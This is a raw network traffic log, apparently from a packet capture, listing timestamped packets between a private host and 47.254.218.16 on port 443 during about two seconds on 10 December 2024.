Dec 10, 2024 12:48:46.375355005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.375391960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.381359100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.381373882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.381426096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.381432056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.381481886 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.386883020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.386897087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.386950016 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.386964083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.387013912 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.392925024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.392940998 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.393014908 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.393022060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.393069029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.398200989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.398216963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.398268938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.398273945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.398319006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.550220013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.550240040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.550858974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.550869942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.550916910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.556269884 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.556286097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.556360006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.556365967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.556406021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.562119961 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.562134981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.562220097 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.562226057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.562273026 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.567681074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.567698002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.567759037 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.567764997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.567820072 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.573478937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.573493958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.573570013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.573575020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.573616028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.579485893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.579529047 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.579592943 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.579598904 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.579644918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.585169077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.585185051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.585244894 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.585249901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.585294962 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.590404034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.590419054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.590471983 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.590477943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.590503931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.590528011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.619539022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.742649078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.742671013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.742717028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.742739916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.742767096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.742784023 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.748517990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.748536110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.748610973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.748634100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.748682976 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.753716946 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.753731012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.753783941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.753806114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.753848076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.759819031 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.759835005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.759891987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.759922028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.759967089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.765743971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.765762091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.765819073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.765846968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.765887022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.771821022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.771841049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.771872044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.771893024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.771909952 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.771935940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.777381897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.777400970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.777448893 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.777472019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.777513981 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.782691002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.782706976 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.782757044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.782780886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.782823086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.935060024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.935086012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.935162067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.935187101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.935237885 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.940258980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.940283060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.940320969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.940325975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.940351009 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.940372944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.946291924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.946317911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.946357965 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.946362019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.946388960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.946408033 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.952207088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.952229977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.952285051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.952289104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.952315092 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.952332973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.958226919 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.958251953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.958287001 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.958292007 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.958317995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.958338022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.963828087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.963855028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.963887930 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.963891029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.963926077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.963948011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.969089031 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.969114065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.969153881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.969157934 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.969187975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.969206095 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.975122929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.975147009 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.975178957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.975183010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.975209951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.975229025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.999593019 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.128465891 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.128494978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.128580093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.128597021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.128642082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.133730888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.133748055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.133797884 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.133805037 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.133847952 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.139143944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.139159918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.139210939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.139216900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.139264107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.144485950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.144501925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.144553900 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.144560099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.144603014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.150285006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.150301933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.150367022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.150372982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.150422096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.155879974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.155896902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.155956030 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.155962944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.156006098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.161845922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.161868095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.161896944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.161904097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.161930084 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.161952972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.167839050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.167855024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.167905092 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.167911053 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.167953968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.312493086 CET	49675	443	192.168.2.17	204.79.197.203
Dec 10, 2024 12:48:47.319607019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.319631100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.319704056 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.319729090 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.319776058 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.325284958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.325299978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.325361013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.325368881 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.325408936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.331310987 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.331331968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.331394911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.331398964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.331445932 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.336648941 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.336666107 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.336719036 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.336724043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.336771011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.342758894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.342776060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.342832088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.342838049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.342881918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.348551989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.348568916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.348608971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.348614931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.348640919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.348654032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.354291916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.354310036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.354363918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.354370117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.354413033 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.360200882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.360219002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.360275030 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.360281944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.360326052 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.381711006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.511519909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.511554003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.511610031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.511631966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.511663914 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.511674881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.517541885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.517558098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.517608881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.517616034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.517662048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.523395061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.523411989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.523483038 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.523494959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.523519993 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.523536921 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.528697014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.528713942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.528769016 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.528774977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.528824091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.534693003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.534708023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.534770966 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.534776926 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.534827948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.540427923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.540443897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.540503025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.540508032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.540544033 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.546570063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.546593904 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.546623945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.546633005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.546653032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.546672106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.552798986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.552824020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.552872896 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.552886009 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.552927017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.703562021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.703589916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.703640938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.703668118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.703696012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.703716993 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.709678888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.709697008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.709748030 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.709753990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.709800005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.715483904 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.715501070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.715555906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.715563059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.715605974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.721910000 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.721927881 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.721978903 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.721986055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.722034931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.727380037 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.727396011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.727446079 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.727451086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.727519989 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.733146906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.733165026 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.733217955 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.733226061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.733267069 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.738373041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.738389969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.738441944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.738454103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.738507032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.744421005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.744437933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.744509935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.744517088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.744559050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.765983105 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.896554947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.896575928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.896686077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.896711111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.896755934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.901948929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.901964903 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.902023077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.902029991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.902076006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.907618999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.907634974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.907711983 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.907716990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.907758951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:47.913631916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:47.913646936 CET	443	49729	47.254.218.16	192.168.2.17
